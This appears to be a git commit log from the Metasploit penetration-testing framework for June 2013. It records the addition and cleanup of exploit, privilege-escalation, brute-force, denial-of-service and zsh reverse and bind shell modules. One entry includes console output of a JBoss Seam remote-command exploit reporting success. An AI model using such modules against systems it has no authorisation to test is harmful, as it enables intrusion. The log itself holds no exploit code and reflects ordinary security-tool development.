2013-06-26 11:38:40 -05:00
g0tmi1k 7ab92993f7 msfvomon - arguments are not case sensitive
Kind of a dirty hack....
2013-06-26 16:35:22 +01:00
g0tmi1k 2b2ded3d83 Cleaned up msfvenom a bit 2013-06-26 16:22:47 +01:00
William Vu e4fb5b327f Land #2028, update references for multiple modules 2013-06-26 10:18:27 -05:00
HD Moore 4fb6fa67f2 Fix require for constants, trim useless fields from banner 2013-06-26 09:59:40 -05:00
HD Moore 84117e28a8 Remove stale constants.rb require 2013-06-26 09:52:15 -05:00
Steve Tornio 6ea622c45e reference updates 2013-06-26 09:44:56 -05:00
g0tmi1k c65fcfc09d Altered msfvenom options to match msfpayload...
Altered msfvenom options to match msfpayload summary
2013-06-26 15:15:02 +01:00
g0tmi1k 91b4d95c3f Fixed msfvenom when displaying options 2013-06-26 15:13:50 +01:00
matthiaskaiser 1caf69c8fa Merge pull request #2 from jvazquez-r7/provider_skeleton_clean
provider_skeleton Exploit Clean and Fixes
2013-06-26 07:03:33 -07:00
jvazquez-r7 8d914a5a00 Land #2026, @egypt's patch for write_file on freebsd 2013-06-26 08:25:02 -05:00
g0tmi1k 9028eed573 Added error handling to msfvenom when generating payloads
Added error handling to msfvenom when generating payloads
2013-06-26 13:50:31 +01:00
sinn3r 88a42aeffe Land #2021 - Add SMTP open relay detection 2013-06-25 22:14:30 -05:00
sinn3r 7009748cf5 Fix module 2013-06-25 22:09:45 -05:00
jvazquez-r7 7ab4d4dcc4 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-25 17:34:29 -05:00
James Lee 3e929fb812 Use fixed write_file instead of re-implementing 2013-06-25 17:25:14 -05:00
James Lee 31ad7b50a9 Fix write_file on FreeBSD
[SeeRM #8083]
2013-06-25 17:19:00 -05:00
Bruno Morisson 2da278f151 fixed indent 2013-06-25 23:08:58 +01:00
sinn3r 7ba54e2ece IIS requires a hello first 2013-06-25 15:43:58 -05:00
jvazquez-r7 5c265c99d2 Clean jboss_seam_exec @cmaruti's collab 2013-06-25 14:09:30 -05:00
jvazquez-r7 45a3e004c6 Land #1993, @cmaruti changes for jboss_seam_exec 2013-06-25 14:07:10 -05:00
sinn3r 86b0175773 Land #2025 - More reference update 2013-06-25 13:49:14 -05:00
Steve Tornio 5b71013dde reference updates 2013-06-25 13:41:22 -05:00
jvazquez-r7 4fa789791d Explain Ranking 2013-06-25 13:10:15 -05:00
jvazquez-r7 127300c62d Fix also ruby module 2013-06-25 12:59:42 -05:00
jvazquez-r7 b400c0fb8a Delete project files 2013-06-25 12:58:39 -05:00
jvazquez-r7 d25e1ba44e Make fixes proposed by review and clean 2013-06-25 12:58:00 -05:00
jvazquez-r7 1ade467ac9 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-25 11:10:43 -05:00
sinn3r 97ab9fa8df Land #2023 - Improve CVE-2013-2171 2013-06-25 10:58:01 -05:00
jvazquez-r7 b32513b1b8 Fix CVE-2013-2171 with @jlee-r7 feedback 2013-06-25 10:40:55 -05:00
zyx2k c829a7ec86 SMTP Open Relay scanner 2013-06-25 16:22:51 +01:00
HD Moore cfde8dbd29 Merge pull request #2022 from jlee-r7/landing-2015-ipmi-proto
Break packet classes into their own files
2013-06-25 07:59:11 -07:00
jvazquez-r7 3244013b1f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-25 09:48:20 -05:00
jvazquez-r7 c9a7372f9f Land #2014, @wchen-r7's exploit for CVE-2013-2171 2013-06-25 09:33:56 -05:00
jvazquez-r7 0c306260be Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-25 09:13:01 -05:00
William Vu d6374ddfff Land #2020, CVE and OSVDB update 2013-06-25 08:17:54 -05:00
William Vu 55ea0cb3bd Land #2019, correct module naming style 2013-06-25 08:17:33 -05:00
sinn3r a6dc41e73b Land #2018 - Novell Client 2 SP3 nicm.sys Privilege Escalation 2013-06-25 02:26:01 -05:00
sinn3r 4df943d1a2 CVE and OSVDB update 2013-06-25 02:06:20 -05:00
sinn3r ecfe083b0e Correct module naming style
I was just looking at these modules on the web gui, and these names
need to be fixed to maintain style consistency.
2013-06-25 00:26:53 -05:00
jvazquez-r7 795dd6a02a Add module for OSVDB 93718 2013-06-24 23:51:28 -05:00
jvazquez-r7 e9fccb8dbd Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-24 22:07:48 -05:00
sinn3r 72847ee4c9 Land #2007 - Add local privilege escalation for ZPanel zsudo 2013-06-24 19:25:27 -05:00
James Lee b3b94c7a73 Break packet classes into their own files
This makes the file structure match the class structure and makes the
source tree easier to grok.
2013-06-24 19:24:09 -05:00
sinn3r 6efc287536 Land #2016 - Fix target regex and wfsdelay 2013-06-24 16:40:14 -05:00
jvazquez-r7 ca8ce363b8 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-24 16:32:55 -05:00
sinn3r 74825af933 Add Makefile 2013-06-24 16:08:22 -05:00
sinn3r d974e395e4 Add a check by checking uname 2013-06-24 15:54:41 -05:00
sinn3r 6b8e0605c0 Use FileDropper 2013-06-24 15:48:54 -05:00
HD Moore be20a76be1 Remove 'Hash' string from the written output 2013-06-24 15:45:09 -05:00
HD Moore 24b7d19ecc Fix target regex and wfsdelay 2013-06-24 14:56:43 -05:00
HD Moore 1801a5a270 Better HP iLO compatibility (retry on session ID error) 2013-06-24 14:23:53 -05:00
sinn3r cdf49f2d56 Land #2013 - Fix jboss modules wrong local variable 2013-06-24 12:04:56 -05:00
jvazquez-r7 b86b4d955a Make random strings also length random 2013-06-24 12:01:30 -05:00
jvazquez-r7 98fddb6ce1 up to date 2013-06-24 11:57:11 -05:00
sinn3r 6780566a54 Add CVE-2013-2171: FreeBSD 9 Address Space Manipulation Module 2013-06-24 11:50:21 -05:00
jvazquez-r7 f7650a4b18 Fix wrong local variable 2013-06-24 11:35:26 -05:00
nmonkee 773d706945 Merge pull request #12 from jvazquez-r7/sapni_work
Fix sap ni proxy, hopefully
2013-06-24 05:30:28 -07:00
sinn3r b3d90c68a4 Land #2008 - More OSVDB refs 2013-06-24 01:53:29 -05:00
Matthias Kaiser 8a96b7f9f2 added Java7u21 RCE module
Click2Play bypass doesn't seem to work anymore.
2013-06-24 02:04:38 -04:00
HD Moore d25e42734e Merge pull request #2009 from sempervictus/ipmi_scanner
ipmi version scanner: fix probe method name
2013-06-23 22:46:51 -07:00
RageLtMan 593a99d76e ipmi version scanner: fix probe method name 2013-06-24 01:38:17 -04:00
jvazquez-r7 31fcb911f2 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-23 21:41:10 -05:00
Steve Tornio a920127f8c reference updates for several modules 2013-06-23 20:43:34 -05:00
sinn3r 5b0092ff39 Land #2006 - Ref updates 2013-06-23 18:26:48 -05:00
Bruno Morisson 7ab8485acc output as table, added info on ports, added comment with default ports. msftidy cleanup. 2013-06-23 23:59:31 +01:00
Bruno Morisson 3cfcdfca9e output as table, added info on ports, added comment with default ports 2013-06-23 23:52:48 +01:00
HD Moore 722d33e8fa Updated common password list 2013-06-23 13:15:31 -05:00
Bruno Morisson 9f5eceec10 minor cleanups 2013-06-23 17:55:38 +01:00
Daniele Martini c0fda81eb0 Removed options DB_ADD_ALL. Added options DB_ALL_PASS and DB_ALL_USERS
to add already known user and passwords to the lists.
2013-06-23 18:20:41 +02:00
jvazquez-r7 6672679530 Add local privilege escalation for ZPanel zsudo abuse 2013-06-23 11:00:39 -05:00
HD Moore d9737ec03a Updated common passwords 2013-06-23 01:52:18 -05:00
HD Moore c869112407 Cleanup, reporting, and automatic cracking 2013-06-23 01:35:31 -05:00
HD Moore 5656e0cb7a Initial commit of IPMI library, scanner, & cracker 2013-06-22 23:38:28 -05:00
jvazquez-r7 b49c4c4e9e up to date 2013-06-22 18:28:17 -05:00
Bruno Morisson e969cbb0bb added INSTANCES option, and support for it on PORTS 2013-06-22 23:09:59 +01:00
jvazquez-r7 345773592f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-22 13:54:47 -05:00
jvazquez-r7 04e6167f90 zpanel 2013-06-22 13:54:22 -05:00
jvazquez-r7 e9883fe5b9 Land #2005, @wchen-r7's exploit for ZPanel htpasswd 2013-06-22 13:24:23 -05:00
jvazquez-r7 2150d9efb0 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-22 12:06:18 -05:00
Steve Tornio 427f063c48 fix formatting 2013-06-22 07:32:29 -05:00
Steve Tornio 1e25dedb66 fix formatting 2013-06-22 07:31:47 -05:00
Steve Tornio 14850cd387 reference updates for multiple modules 2013-06-22 07:28:04 -05:00
sinn3r de659326ce Land #2003 - Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation 2013-06-21 21:52:32 -05:00
sinn3r ce80a89346 Land #2004 - Use CmdStagerVBS instead of CmdStagerTFTP for hp_sys_mgmt_exec 2013-06-21 21:40:21 -05:00
sinn3r 5de7fff685 Credit 2013-06-21 21:38:40 -05:00
sinn3r 339f2a5c83 Hmmm, one extra ',' 2013-06-21 21:29:17 -05:00
sinn3r 8d422c9a39 Forgot to randomize the fake pass and remove the payload during testing 2013-06-21 21:27:11 -05:00
sinn3r e7d75d6d16 Add OSVDB-94038: ZPanel htpasswd Module Username Command Execution 2013-06-21 21:03:10 -05:00
Markus Wulftange afa0e6c42a Use CmdStagerVBS instead of CmdStagerTFTP
By using `php.exe` as stager, the bad characters can be completely
bypassed. This allows the use of the CmdStagerVBS, which should be
working on all supported Windows systems.
2013-06-22 01:13:03 +02:00
jvazquez-r7 f106b6db50 Add comment with the component version 2013-06-21 17:38:30 -05:00
jvazquez-r7 5fe9a80bf0 Add module for OSVDB 46578 2013-06-21 17:31:40 -05:00
James Lee e483fe444d Add spec for HttpServer#hardcoded_uripath 2013-06-21 15:59:15 -05:00
James Lee 3c42fe594e No need to have rescue around a print 2013-06-21 15:55:43 -05:00
James Lee 2c12a43e77 Add a method for dealing with hardcoded URIs 2013-06-21 15:48:02 -05:00
James Lee 39d011780e Move deletion into #remove_resource
Doing it here means that modules manually calling remove_resource won't
screw up the cleanup
2013-06-21 15:34:54 -05:00
James Lee e8a92eb196 Keep better track of resources
[See #1623]
[SeeRM #7692]
2013-06-21 14:51:47 -05:00
jvazquez-r7 469d7b968f Land #1997, @wchen-r7's brute forcer login for HP SMH 2013-06-20 23:56:24 -05:00
salcho 36c3460911 changed reference 2013-06-20 18:02:25 -05:00
salcho c1994db2a7 shorter title, included msf::post mixins, added reference and overall readability 2013-06-20 17:42:38 -05:00
jvazquez-r7 785639148c Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-20 17:18:42 -05:00
William Vu 589b4be384 Land #1999, zsh bind shell 2013-06-20 13:51:48 -05:00
William Vu 51abae1085 Land #1998, zsh reverse shell 2013-06-20 13:51:33 -05:00
sinn3r 86fc101c1f Add payload module bind zsh
For #1984
2013-06-20 13:45:02 -05:00
sinn3r 660c97f512 Add module for reverse zsh payload
For #1985
2013-06-20 13:40:17 -05:00
sinn3r 64cfda8dad Final 2013-06-20 13:28:12 -05:00
sinn3r bfb78e001a Add HP System Management Homepage Login Utility 2013-06-20 12:54:03 -05:00
William Vu 4cc1f2440d Land #1996, references for several modules 2013-06-20 11:32:55 -05:00
Steve Tornio 322ba27f0f re-order refs 2013-06-20 11:17:23 -05:00
William Vu 22026352e6 Land #1995, OSVDB reference for Gitorious 2013-06-20 10:51:51 -05:00
William Vu e4cbd4b174 Land #1994, OSVDB reference for JBoss 2013-06-20 10:51:28 -05:00
Steve Tornio 66f4424202 fix formatting 2013-06-20 10:41:14 -05:00
jvazquez-r7 526b82ef63 Land #1992, @wchen-r7's exploit for HP System Management Hompage 2013-06-20 10:34:58 -05:00
Cristiano Maruti f78b4d8874 modified according to jvazquez-r7 feedback 2013-06-20 16:29:42 +02:00
Cristiano Maruti 4846a680db modified according to jvazquez-r7 feedback 2013-06-20 16:19:43 +02:00
Cristiano Maruti 8e64bf3d16 modified according to jvazquez-r7 feedback 2013-06-20 16:15:28 +02:00
jvazquez-r7 6319f041df Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-20 08:21:40 -05:00
Steve Tornio a3a5dec369 add osvdb ref 94441 2013-06-20 08:03:34 -05:00
Steve Tornio abea7e6a47 add osvdb ref 76389 2013-06-20 07:55:50 -05:00
Steve Tornio cab20062a4 add osvdb ref 84706 2013-06-20 07:38:34 -05:00
Steve Tornio a824a0583e add osvdb ref 89059 2013-06-20 07:34:15 -05:00
Steve Tornio 89f649ab99 add osvdb ref 89026 2013-06-20 07:28:29 -05:00
Steve Tornio 2b55e0e0a6 add osvdb ref 64171 2013-06-20 07:17:22 -05:00
Steve Tornio d19bd7a905 add osvdb 85739, cve 2012-5159, edb 21834 2013-06-20 07:01:59 -05:00
Steve Tornio 6cc7d9ccae add osvdb ref 85446 and edb ref 20500 2013-06-20 06:54:06 -05:00
Steve Tornio ee21120c04 add osvdb ref 85509 2013-06-20 06:47:10 -05:00
Steve Tornio ade970afb8 add osvdb ref 89322 2013-06-20 06:44:22 -05:00
Steve Tornio 42690a5c48 add osvdb ref 77492 2013-06-20 06:38:47 -05:00
Steve Tornio 0dca5ede7e add osvdb ref 78480 2013-06-20 06:07:08 -05:00
Steve Tornio 29bc169507 add osvdb ref 64171 2013-06-20 06:00:05 -05:00
Cristiano Maruti a5332e5ed2 Module was updated to support WebSphere AS running seam-2.
msf auxiliary(jboss_seam_exec) > run

[*] Found right index at [0] - getRuntime
[*] Index [1]
[*] Index [2]
[*] Index [3]
[*] Index [4]
[*] Index [5]
[*] Found right index at [6] - exec
[*] Index [7]
[*] Index [8]
[*] Index [9]
[*] Index [10]
[*] Index [11]
[*] Index [12]
[*] Index [13]
[*] Index [14]
[*] Index [15]
[*] Index [16]
[*] Index [17]
[*] Index [18]
[*] Index [19]
[*] Index [20]
[*] Index [21]
[*] Index [22]
[*] Index [23]
[*] Index [24]
[*] Target appears VULNERABLE!
[*] Sending remote command:pwd
[*] Exploited successfully
[*] Auxiliary module execution completed
2013-06-20 12:17:07 +02:00
sinn3r 8dfe9b5318 Add login feature 2013-06-20 04:16:23 -05:00
sinn3r ebde05b783 Improve check 2013-06-20 03:18:33 -05:00
sinn3r 20621d17de Add CVE-2013-3576 - HP System Management Homepage exploit 2013-06-20 03:08:42 -05:00
William Vu df27e3e76c Land #1991, OSVDB reference for Canon 2013-06-19 23:17:30 -05:00
jvazquez-r7 fc7670fa5f Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-19 23:16:04 -05:00
Steve Tornio 55312529d2 add osvdb ref 94417 2013-06-19 23:13:45 -05:00
jvazquez-r7 494ee160af Fix indent 2013-06-19 23:12:12 -05:00
jvazquez-r7 2d99c46414 Land #1990, @wchen-r7's exploit for Libretto CMS 2013-06-19 23:11:34 -05:00
sinn3r 079477c57d Commit final version 2013-06-19 20:35:24 -05:00
jvazquez-r7 869438cb73 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-19 19:57:40 -05:00
salcho db935498ab admin_me modified according to msftidy 2013-06-19 18:14:32 -05:00
salcho 8afbcd6931 added admin_me.rb as post->manage script 2013-06-19 17:54:13 -05:00
sinn3r eec65346cb Land #1988 - Fix requires for PhpEXE 2013-06-19 17:01:23 -05:00
sinn3r 62b23bc594 Initial (incomplete) commit 2013-06-19 16:59:15 -05:00
James Lee 81b4efcdb8 Fix requires for PhpEXE
And incidentally fix some msftidy complaints
2013-06-19 16:27:59 -05:00
jvazquez-r7 d3fc497b08 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-19 14:55:50 -05:00
jvazquez-r7 f91719bf80 Do final cleanup for pptp_tunnel 2013-06-19 14:21:48 -05:00
jvazquez-r7 3e31d2c97a Land #1820, @bmerinofe post module for pptpd mitm 2013-06-19 14:19:50 -05:00
jvazquez-r7 6d1101b65b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-19 12:14:53 -05:00
sinn3r d347be35e9 Land #1986 - Restores MoinMoin during exploitation 2013-06-19 12:14:10 -05:00
jvazquez-r7 1a06003ac8 Land #1983, @wchen-r7's havalite exploit 2013-06-19 11:58:13 -05:00
jvazquez-r7 a894dc83c2 Try restore also at exploiting time 2013-06-19 11:35:52 -05:00
sinn3r 7b0977f897 Change base path 2013-06-19 11:33:45 -05:00
jvazquez-r7 a01f0c4671 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-19 09:34:51 -05:00
sinn3r f0c81ed3cc Correct disclosure date 2013-06-19 03:00:32 -05:00
sinn3r 67593d6ef4 Eh, PHP, not "php" 2013-06-19 02:34:49 -05:00
sinn3r 9c3bd12613 If I can't write, I want to know.
It's possible that the upload directory doesn't allow write, the
module should be aware of that.  Other reasons may be possible.
2013-06-19 02:32:30 -05:00
sinn3r 19d868748d Final version 2013-06-19 02:21:01 -05:00
sinn3r 90cad4b7fb Land #1980 - Canon Printer Wireless Configuration Disclosure 2013-06-18 19:09:38 -05:00
sinn3r abc3951ca2 Final touchup 2013-06-18 19:08:42 -05:00
sinn3r 6168eb7590 Land #1981 - Canon Wireless Printer Denial of Service 2013-06-18 19:04:48 -05:00
sinn3r 7d15dc379d Make msftidy happy 2013-06-18 19:04:03 -05:00
sinn3r 5c1822ea17 Initial commit for havalite module 2013-06-18 19:00:42 -05:00
Matt Andreko 0533ca68dc Added DoS result checking
Lowered the http timeout
2013-06-18 19:48:21 -04:00
jvazquez-r7 fd397db6e0 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-18 14:09:33 -05:00
Matt Andreko 8c28631d4b Fixed the date format
Removed the rport option
These are items that were code-review for my other related module, so
I figured they should be done here too
2013-06-18 12:17:50 -04:00
Matt Andreko 7f1a913bdc Code Review Feedback from wchen
Fixed the disclosure date format
Removed the rport option
Added a call to report_note to store the data
2013-06-18 12:13:19 -04:00
sinn3r b514124997 Land #1979 - OSVDB update 2013-06-18 10:42:09 -05:00
sinn3r fbd16a2f3e Land #1978 - OSVDB update 2013-06-18 10:41:33 -05:00
sinn3r 1e46f7df48 Land #1977 - OSVDB update 2013-06-18 10:40:55 -05:00
sinn3r d0ed9a6687 Land #1976 - OSVDB update 2013-06-18 10:40:00 -05:00
jvazquez-r7 9e3053f24d Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-18 10:00:44 -05:00
jvazquez-r7 aa134b0bcc Land #1973, @wchen-r7's fix to handle ftp auth correctly 2013-06-18 09:34:55 -05:00
jvazquez-r7 8a770d9022 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-18 09:16:11 -05:00
jvazquez-r7 1aff778a79 Fix unpack 2013-06-18 09:06:44 -05:00
jvazquez-r7 8ae8f25d56 Land #1961, @wvu-r7's normalization of command_dispatcher/db.rb 2013-06-18 08:57:32 -05:00
jvazquez-r7 2b46828d9c Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-18 08:27:18 -05:00
Steve Tornio e278ac5061 add osvdb ref 91841 2013-06-18 06:41:30 -05:00
Steve Tornio 404a9f0669 add osvdb ref 89594 2013-06-18 06:25:57 -05:00
Steve Tornio 27158d89c7 add osvdb ref 89105 2013-06-18 06:15:29 -05:00
Steve Tornio 2afc90a8de fix typos 2013-06-18 06:05:45 -05:00
Steve Tornio 2c3181b56b add osvdb ref 90627 2013-06-18 05:59:39 -05:00
jvazquez-r7 6c2d99c2bc Land #1972, @wchen-r7's patch for [FixRM:#4704] 2013-06-17 23:17:22 -05:00
sinn3r 070111a520 Land #1975 - Add CVE-2012-6081 (MoinMoin twikidraw Action Traversal) 2013-06-17 22:31:36 -05:00
sinn3r 3223ea799c An invalid WritablePage option can result the same message as well. 2013-06-17 22:30:44 -05:00
jvazquez-r7 ae1a3e3ca1 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-17 20:39:31 -05:00
jvazquez-r7 044bd2101f Authenticate against the page to modify 2013-06-17 20:34:02 -05:00
Tod Beardsley 4ca9a88324 Tidying up grammar and titles 2013-06-17 16:49:14 -05:00
jvazquez-r7 de1561363e Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-17 16:43:33 -05:00
Matt Andreko d877e4d489 Added CVE and disclosure date 2013-06-17 17:41:50 -04:00
Matt Andreko df8c80e3d1 Added CVE and disclosure date 2013-06-17 17:40:36 -04:00
William Vu b8ed1f902c Land #1974, add Rex.sleep() to HACKING 2013-06-17 16:32:17 -05:00
sinn3r c71b395930 Minor change 2013-06-17 16:27:31 -05:00
jvazquez-r7 0bd6ca2a6a Add module for CVE-2012-6081 2013-06-17 16:13:55 -05:00
sinn3r 9c82c04997 Update on the usage of sleep() 2013-06-17 16:05:47 -05:00
sinn3r 820f589df0 Missed this one. 2013-06-17 15:52:53 -05:00
sinn3r 163d3e771b Handle connect_login return value properly
Some modules ignore connect_login's return value, which may result
an EOF if send_cmd() is used later on.  All the modules fixed are
the ones require auth according to the module description, or
CVE/vendor/OSVDB info.
2013-06-17 15:48:34 -05:00
sinn3r ed3c5f06eb Land #1971 - Skip max-age 2013-06-17 14:30:22 -05:00
sinn3r 8bdd89f68b [FixRM:#4704] - Fix EOFError in filezilla_server_port
If login fails, the module shouldn't continue sending commands to
the server, otherwise this causes an EOF.
2013-06-17 14:24:01 -05:00
jvazquez-r7 3f665ba5a0 Skip also max-age from cookies 2013-06-17 14:04:08 -05:00
sinn3r eb3c6fad1f Land #1970 - Support rhost/rport option overrides in HttpClient
Good for if you want to send HTTP requests to different ports and/or
hosts.
2013-06-17 11:50:49 -05:00
HD Moore 819080a147 Enable rhost/rport option overrides in HttpClient 2013-06-17 11:45:01 -05:00
William Vu b51349ed77 Land #1968, OSVDB reference for ManageEngine 2013-06-17 10:30:05 -05:00
William Vu c5b6507437 Land #1967, OSVDB and EDB references for Horde 2013-06-17 10:27:14 -05:00
jvazquez-r7 1b456ab511 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-17 08:46:16 -05:00
jvazquez-r7 fed6427f16 Land #1884, @morrisson's saprouter port scanner module 2013-06-17 08:38:10 -05:00
jvazquez-r7 8fac0aaf6b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-17 08:24:39 -05:00
Steve Tornio e37a0b871f add osvdb ref 86562 2013-06-17 06:04:54 -05:00
Steve Tornio 6e57ecab59 add osvdb ref 79246 and edb ref 18492 2013-06-17 05:58:00 -05:00
Steve Tornio a8cf2aac4c Merge remote-tracking branch 'upstream/master' 2013-06-17 05:52:15 -05:00
jvazquez-r7 3ff11e913d Fix indentation 2013-06-17 05:52:05 -05:00
jvazquez-r7 14b94b0d80 Do final cleanup for infovista_enum 2013-06-17 05:52:05 -05:00
KarnGaneshen f419dafd0e added infovista module 2013-06-17 05:52:05 -05:00
William Vu cfa5b707df Land #1966, OSVDB reference for Axis2 2013-06-16 18:34:05 -05:00
Steve Tornio e17ccdda3a add osvdb ref 68662 2013-06-16 18:11:13 -05:00
jvazquez-r7 2e201bb2a3 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-16 15:19:36 -05:00
jvazquez-r7 d20f72a9fd Fix indentation 2013-06-16 15:18:19 -05:00
root f478eb51cf s/disable/disabled/ 2013-06-16 21:27:45 +02:00
jvazquez-r7 3cd94f5025 Do final cleanup for infovista_enum 2013-06-16 11:50:40 -05:00
jvazquez-r7 c243ed1be3 Land #1962, @juushya infovista brute force module 2013-06-16 11:49:45 -05:00
Steve Tornio afc5245c35 Merge remote-tracking branch 'upstream/master' 2013-06-16 08:42:21 -05:00
Steve Tornio f6c50f8f0f add osvdb ref 84913 2013-06-16 08:42:06 -05:00
Steve Tornio 7f4eb09571 add osvdb ref 82087 2013-06-16 08:42:06 -05:00
William Vu 5ffa4a3647 Update wiki-devenv link in README.md 2013-06-16 08:42:06 -05:00
Steve Tornio 9bc376d1eb add osvdb ref 89611 2013-06-16 08:42:06 -05:00
Steve Tornio 6b7c457029 add osvdb ref 89611 2013-06-16 08:42:06 -05:00
Matt Andreko fd026c5b34 Added References and Disclosure Date 2013-06-15 18:31:20 -04:00
Matt Andreko 3923bbeee9 Update 2013-06-15 18:28:58 -04:00
Matt Andreko 0494ac9218 Added Canon Wireless Printer DoS module 2013-06-15 18:23:04 -04:00
jvazquez-r7 11bf17b0d6 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-15 11:55:22 -05:00
Bruno Morisson 852fc33c13 Added feedback, cleanup, and simplified modes 2013-06-15 17:16:10 +01:00
William Vu 0cf2751ec1 Land #1965, OSVDB reference for pBot 2013-06-15 07:39:25 -05:00
Steve Tornio d35dd73328 add osvdb ref 84913 2013-06-15 07:30:23 -05:00
William Vu 638175a6be Land #1964, OSVDB reference for StorageWorks 2013-06-15 07:27:43 -05:00
Steve Tornio 0c6157694f add osvdb ref 82087 2013-06-15 07:22:32 -05:00
William Vu f5a166bbc0 Land #1963, OSVDB reference for libupnp 2013-06-15 07:17:28 -05:00
William Vu 4b765b1c2f Update wiki-devenv link in README.md 2013-06-15 07:12:59 -05:00
Steve Tornio 6e8b844954 add osvdb ref 89611 2013-06-15 07:12:44 -05:00
Steve Tornio 63483a979d add osvdb ref 89611 2013-06-15 07:09:26 -05:00
KarnGaneshen ba59434261 added infovista module 2013-06-15 17:16:26 +05:30
Bruno Morisson 36196239a7 Merge pull request #1 from jvazquez-r7/sap_router_scan_clean
Clean sap_router_portscanner
2013-06-15 02:25:22 -07:00
William Vu 53077d4c1a Add a newline before the delete message 2013-06-14 19:58:19 -05:00
William Vu cfd05bc68f Normalize comments 2013-06-14 17:32:33 -05:00
William Vu 0a9a8a57e3 Remove double newlines 2013-06-14 17:20:26 -05:00
William Vu bb02cc8509 Normalize the syntax and output of db.rb 2013-06-14 17:11:47 -05:00
William Vu bd17e67f75 Land #1960, lower ranking for MS13-009 2013-06-14 15:28:06 -05:00
sinn3r 2abf70a1ca Lower ranking for MS13-009
We haven't been able to make this one more reliable, so todb suggests
we lower the ranking first.
2013-06-14 15:24:43 -05:00
William Vu bcabe82dfd Land #1959, fix EDB reference typo 2013-06-14 15:24:27 -05:00
sinn3r d35c3469e8 Fix typo
EDB reference
2013-06-14 15:16:20 -05:00
jvazquez-r7 7a11077834 Land #1923, @juushya's module for rfcode brute forcing 2013-06-14 13:36:14 -05:00
Karn Ganeshen 456cb3bb88 Merge pull request #1 from jvazquez-r7/rfcode_work
Final cleanup for rfcode_reader_enum
2013-06-14 11:30:19 -07:00
jvazquez-r7 2d083be8e7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-14 13:28:44 -05:00
sinn3r 0d384d23b8 Land #1954 - Fix resource_uri and mp4 file path 2013-06-14 13:15:17 -05:00
jvazquez-r7 060261bb3b Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-14 13:15:13 -05:00
sinn3r 933ac88b44 Missing the file param that's needed to download the mp4 2013-06-14 13:13:48 -05:00
jvazquez-r7 ae027a9efb Final cleanup for rfcode_reader_enum 2013-06-14 13:09:48 -05:00
Tod Beardsley d341b825d0 Rename dirbust option to conform to style 2013-06-14 12:58:08 -05:00
Tod Beardsley 2971e50d06 Land #1949, make dirbusting optional for crawler 2013-06-14 11:54:28 -05:00
sinn3r d2df3234f4 Land #1955 - mozilla_mchannel.rb undefined agent variable 2013-06-14 11:14:20 -05:00
sinn3r 223807d0df Land #1956 - fix regex error for mozilla_reduceright.rb 2013-06-14 11:09:49 -05:00
sinn3r 377fe9fa39 Land #1957 - fix User-agent typos for maxthon_history_xcs.rb 2013-06-14 11:04:08 -05:00
William Vu ee41be0597 Land #1944, C# byte array payload 2013-06-13 20:32:23 -06:00
jvazquez-r7 69c25014ae Make msftidy happy 2013-06-13 18:58:38 -05:00
jvazquez-r7 44ff3ec8d9 Land #1953, @wchen-r7's fix around fileformat 2013-06-13 18:56:48 -05:00
sinn3r 12801430e3 Update both ultraiso files to the right fix 2013-06-13 18:44:19 -05:00
jvazquez-r7 1172b59bb7 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-13 18:22:41 -05:00
jvazquez-r7 fd74390952 Clean monkey_headers 2013-06-13 18:07:35 -05:00
jvazquez-r7 f6a3da9c02 Land #1952, Monkey HTTPD DoS module 2013-06-13 18:06:34 -05:00
jvazquez-r7 f5b00512e0 Fix sap ni proxy, hopefully 2013-06-13 17:15:48 -05:00
sinn3r e97aad1111 Restore file_create
file_create shouldn't have the 'filename' argument, because that
defeats the purpose of function 'file_format_filename'.  The code
change was committed by accident.  Related to #1934.
2013-06-13 16:42:18 -05:00
jvazquez-r7 86258e32b1 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-13 16:05:03 -05:00
sinn3r 73aff97053 Land #1950 - Monkey HTTPD Header Parsing Denial-of-Service
This is the reviewed/updated version of pull request #1950. We're
landing this one instead because the other one has a lot of
unnecessary commit messages.
2013-06-13 15:56:34 -05:00
sinn3r 0440c03c7a Land #1934 - Fix UltraISO Exploit File Creation 2013-06-13 13:57:09 -05:00
Brandon Perry aced5bbbae Merge remote-tracking branch 'wvu-r7/fix-msfpayload-1944' into csharp_payload 2013-06-13 13:17:33 -05:00
jvazquez-r7 95118895d6 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-13 13:05:42 -05:00
jvazquez-r7 81813a78fc Fix module Name 2013-06-13 11:55:23 -05:00
jvazquez-r7 707bc33148 Merge branch 'master' of https://github.com/rapid7/metasploit-framework 2013-06-13 10:17:28 -05:00
jvazquez-r7 6fbb782ada Clean sap_router_portscanner 2013-06-13 10:08:44 -05:00
